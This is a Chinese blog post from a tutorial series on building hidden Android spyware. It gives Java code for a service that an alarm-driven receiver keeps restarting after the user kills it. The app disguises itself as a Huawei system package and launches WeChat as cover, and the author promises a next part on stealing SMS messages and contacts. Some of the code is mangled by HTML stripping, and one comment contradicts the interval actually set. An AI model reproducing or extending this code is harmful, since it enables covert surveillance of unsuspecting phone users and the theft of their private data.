接上一篇,上篇介绍了怎样隐藏APP和破解方法,看本篇文章前最好看看上一篇,是连贯的。
今天介绍的是怎么开启后台服务。上篇简单说了一下,就是在启动微信之前开启。如下:
startAlarm函数就是开启后台的,我做了个闹钟处理,每隔一段时间去检查一下,问问手机,我的后台服务开启了吗,没有就开启。如下:
//打开后台服务 private void startAlarm() { //直接开启服务 Intent intent2 = new Intent(MainActivity.this, S1.class); startService(intent2); int id = 1; AlarmManager am = (AlarmManager) getSystemService(Context.ALARM_SERVICE); Intent intent = new Intent(LILY_TEST_INTENT); intent.setData(Uri.parse("content://calendar/calendar_alerts/1")); intent.setClass(this, R1.class); intent.putExtra("ID", id); long atTimeInMillis = System.currentTimeMillis(); intent.putExtra("TIME", atTimeInMillis); PendingIntent sender = PendingIntent.getBroadcast(this, 0, intent, PendingIntent.FLAG_CANCEL_CURRENT); //每隔30秒检查一次服务是否开启 am.setRepeating(AlarmManager.ELAPSED_REALTIME, SystemClock.elapsedRealtime(), 300 * 1000, sender); File1.writeFile("闹钟"); }
配合BroadcastReceiver一起使用,我把这个类命名为R1,代码如下:
package com.huaweii.sys;
import android.app.*;
import android.app.ActivityManager.*;
import android.content.*;
import com.huaweii.tool.*;
import java.util.*;
public class R1 extends BroadcastReceiver
{ @Override public void onReceive(Context context, Intent intent) {
//检查服务是否运行,不运行就启动 if (!isServiceRunning(context, "com.huaweii.S1")) { Intent intent2 = new Intent(context, S1.class); context.startService(intent2); } File1.writeFile("R1"); }
//检查服务是否运行 public static boolean isServiceRunning(Context context, String ServiceName) { if (("").equals(ServiceName) || ServiceName == null) return false; ActivityManager myManager = (ActivityManager) context .getSystemService(Context.ACTIVITY_SERVICE); ArrayList<runningserviceinfo> runningService = (ArrayList<runningserviceinfo>) myManager .getRunningServices(30); for (int i = 0; i < runningService.size(); i++) { if (runningService.get(i).service.getClassName().toString() .equals(ServiceName)) { return true; } } return false; }/<runningserviceinfo>/<runningserviceinfo>
}
后台服务的类名是S1,目前是不做任何处理,除了发一个通知,“黑客后台服务正在运行请你小心”,发通知的目的是让我们知道后台正在运行,当全部实现后,要删除这个通知。
下面是后台代码
package com.huaweii.sys;
import android.annotation.*;
import android.app.*;
import android.content.*;
import android.os.*;
import com.huaweii.tool.*;
import java.io.*;
public class S1 extends Service { private Handler handler = null; private static final int NOTIFICATION_DI = 7888; public int isOpenPhp=0; @Override public IBinder onBind(Intent arg0) { return null; } @SuppressLint("HandlerLeak") @Override public void onCreate() { super.onCreate(); File1.writeFile("S1"); handler = new Handler() { public void handleMessage(Message msg) { if (msg.what == 0) { String arr1 = (String) msg.obj; } } };// handler } @Override public int onStartCommand(Intent intent, int flags, int startId) { return super.onStartCommand(intent, flags, startId); } @Override public void onDestroy() { super.onDestroy(); } @Override public void onStart(Intent intent, int startid) { send_tz("黑客后台服务","正在运行,请你小心"); } public void send_tz(String Title,String content) { Notification notification = new Notification.Builder(this) .setContentTitle(Title) .setContentText(content) .setSmallIcon(R.drawable.ic_launcher) .setContentIntent( PendingIntent.getActivity(this, 0, new Intent(this, MainActivity.class), 0)).build(); startForeground(NOTIFICATION_DI, notification); // ---------------------- }
记得在清单中申请一下,如下
<service> <intent-filter> <action> /<intent-filter> /<service>
<receiver> <intent-filter> <action> /<intent-filter> /<receiver>
将这哥俩写在application内。
我说说测试的结果,当打开程序时,我看到立即转跳微信,看不到启动页。在手机上拉开通知栏,可以看到“黑客后台服务正在运行请你小心”的字样。我清理了一下正在运行的程序,当时通知消失了,不久居然能重启,我想真正要实现守护,可能还要写个服务来相互守护。
如果想了解更多,欢迎关注我。明天再写怎样在服务中去获取短信通信录等信息。
閱讀更多 化州阿信 的文章